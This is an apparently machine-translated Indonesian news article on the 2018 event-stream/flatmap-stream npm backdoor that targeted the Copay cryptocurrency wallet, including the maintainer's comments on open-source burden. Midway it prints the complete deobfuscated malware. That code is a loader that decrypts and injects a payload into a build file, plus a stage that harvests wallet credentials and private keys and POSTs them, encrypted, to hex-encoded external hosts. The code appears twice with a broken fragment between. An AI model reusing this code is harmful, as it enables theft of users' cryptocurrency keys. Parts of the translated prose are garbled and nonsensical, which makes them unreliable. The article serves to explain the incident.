
Lebih dari
1,9 juta salinan dari pustaka
EventStream diunduh setiap minggu dari repositori NPM. Ini digunakan dalam banyak proyek besar untuk pekerjaan sederhana dan nyaman dengan
stream di Node.JS. Di antara yang lain, perpustakaan ini juga memproses streaming di dompet kripto Copay yang populer (namun, lebih lanjut tentang itu nanti).
Pada 21 November 2018, sesuatu yang aneh terjadi. Pengguna GitHub @FallingSnow
melaporkan bahwa salah satu dependensi aliran peristiwa telah menyembunyikan kode berbahaya, yang sebenarnya merupakan pintu belakang dari fungsi yang tidak diketahui.
Pengguna mulai mencari tahu dari mana kode berbahaya ini berasal. Ini adalah kisah yang sangat menarik dan instruktif. Sayangnya, itu dapat memiliki konsekuensi jangka panjang bagi banyak proyek open-source.
Jadi, penyelidikan sudah dimulai. Berkat riwayat komit di GitHub, segera menjadi jelas bahwa pengguna jahat dibuat oleh pengguna lain
@ right9ctrl , yang
diberi hak pengelola untuk acara-aliran. Dia memiliki sejumlah komitmen normal pada akunnya, dan penulis proyek Dominic Carr (
@dominictarr ) memindahkannya hak pengelola.
Mengapa penulis mengalihkan hak pengelola ke orang asing? Dominic sendiri mengatakan bahwa ia adalah beban untuk terlibat dalam proyek tersebut. Lihat
pembenaran terperinci untuk kejadian ini: penulis menulis bahwa ia pada umumnya menciptakan proyek demi kesenangan dan tidak berpikir bahwa dukungannya akan memakan banyak waktu, dan perpustakaan itu sendiri terlibat dalam begitu banyak program serius. Dia tidak membebaskan diri dari kesalahan atas insiden tersebut, tetapi mengatakan bahwa proyek open-source bukan miliknya, itu adalah domain publik, jadi semua orang juga bertanggung jawab atas apa yang terjadi. Lagi pula, mengapa tidak ada orang normal yang mengambil alih hak pengelola dan mengaudit komitmen?
Mari kita kembali ke komit @ right9ctrl yang disebutkan. Kuncinya adalah dia tidak menyuntikkan kode backdoor langsung ke pustaka
event-stream
, tetapi hanya menyuntikkan ketergantungan pada paket
flatmap-stream lainnya . Sudah ada di dalamnya dengan kedok set data uji (test / data.js) di salah satu variabel, kode jahat dari konten berikut ditransmisikan:
Setelah "mendekode" variabel
n
gambar menjadi lebih jelas .
Boot awal module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
Tahap kedua ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
\\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
Setelah deobfuscation, fungsi backdoor
menjadi jelas . Ternyata itu hanya berhasil jika ada
dompet cryptoc Copay dalam sistem (paket
copay-dash
). Dalam hal ini, ia menyalin dompet pribadi pengguna dan mengirimkannya ke alamat IP di Malaysia.
Pengembang Copay melakukan penyelidikan dan
menemukan bahwa pintu belakang jatuh tergantung pada versi dompet dari 5.0.2 ke 5.1.0, yaitu, ke versi terbaru. Pada 27 November 2018, mereka segera merilis versi 5.2.0 yang diperbarui.
Penyerang @ right9ctrl tidak hanya menambahkan backdoor, tetapi juga mencoba untuk menutupi jejaknya. Tiga hari kemudian, ia menghapus kode berbahaya dari repositori
flatmap-stream
, memperbarui nomor versi, dan menghapus yang lama dari NPM. Dengan demikian, dalam versi terbaru dari paket tidak ada pintu belakang, tetapi sudah terjual puluhan ribu mobil, yang merupakan tujuannya. Metode ini ternyata sangat sukses, dilihat dari fakta bahwa pintu belakang tidak segera ditemukan.
Masih belum diketahui secara pasti berapa banyak uang yang berhasil diperoleh penyerang, tetapi serangan ini menunjukkan keefektifan utama metode memperkenalkan backdoors ke dalam proyek-proyek open-source. Jelas, ini bukan kasus yang terakhir. Ini juga
ditulis oleh Dominic Carr, penulis perpustakaan EventStream yang terkena dampak: "Mungkin akan ada banyak modul lain di pohon dependensi Anda, yang sekarang menjadi beban bagi penulisnya" - dan modul "memberatkan" ini dapat ditransfer ke pengelola lain, seperti yang terjadi pada ini kasing, atau bahkan dijual demi uang. Karena dependensi tertanam dalam ratusan dan ribuan program, beberapa modul terkecil dapat menjadi sumber masalah besar.
Mengapa penulis program mentransfer kendali ke orang asing?
"Jika ini tidak lagi menyenangkan, maka Anda benar-benar mendapatkan apa-apa dari mendukung paket populer," kata Dominic Carr. - Oleh karena itu, sekarang kita berada di lembah yang aneh, di mana Anda memiliki banyak kecanduan yang didukung oleh mereka yang kehilangan minat atau bahkan mulai memudar, dan yang sendiri tidak lagi menggunakannya . Anda dapat dengan mudah membagikan kode, tetapi tidak ada yang mau berbagi tanggung jawab untuk menjaga kode ini. "Sama seperti modul yang terlihat seperti bagian dari properti digital, hak yang dapat ditransfer, tetapi Anda tidak mendapatkan manfaat dari memilikinya, misalnya, kesempatan untuk menjual atau menyewanya, namun, Anda masih tetap memiliki tanggung jawab."
Apa jalan keluar dari situasi ini bagi pengguna perangkat lunak bebas? Baik membayar penulis, atau mengambil bagian aktif dalam proyek ini, Carr percaya.

